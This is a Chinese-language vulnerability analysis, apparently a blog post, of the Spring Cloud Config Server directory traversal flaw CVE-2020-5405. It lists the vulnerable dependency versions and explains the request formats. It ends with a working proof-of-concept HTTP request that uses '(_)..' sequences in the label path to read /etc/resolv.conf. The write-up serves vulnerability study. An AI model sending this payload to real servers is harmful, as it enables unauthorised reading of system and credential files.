Spring Cloud Config Serve目录遍历漏洞（CVE-2020-5405）分析

根据https://www.baeldung.com/spring-cloud-configuration 搭环境。其中pom.xml的依赖改为：

  <dependencies>
	    <dependency>
	    <groupId>org.springframework.cloud</groupId>
	    <artifactId>spring-cloud-config-server</artifactId>
	    <version>2.2.0.RELEASE</version>
	</dependency>

	<dependency>
	    <groupId>org.springframework.boot</groupId>
	    <artifactId>spring-boot-starter-web</artifactId>
	    <version>2.2.1.RELEASE</version>
	</dependency>
  </dependencies>

启动项目。根据文章的介绍，查询语句的格式为：

/{application}/{profile}[/{label}]
/{application}-{profile}.yml
/{label}/{application}-{profile}.yml
/{application}-{profile}.properties
/{label}/{application}-{profile}.properties

label是git分支

application 是应用名字

profile 是当前正在使用应用的profile
正常的请求，可以读取git仓库下的任何文件

而问题就出在{label}

先上POC：

GET /config-client/development/master(_)..(_)..(_)..(_)..(_)..(_)..(_)/etc/resolv.conf HTTP/1.1
Host: kali-xps:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: hibext_instdsigdipv2=1
Upgrade-Insecure-Requests: 1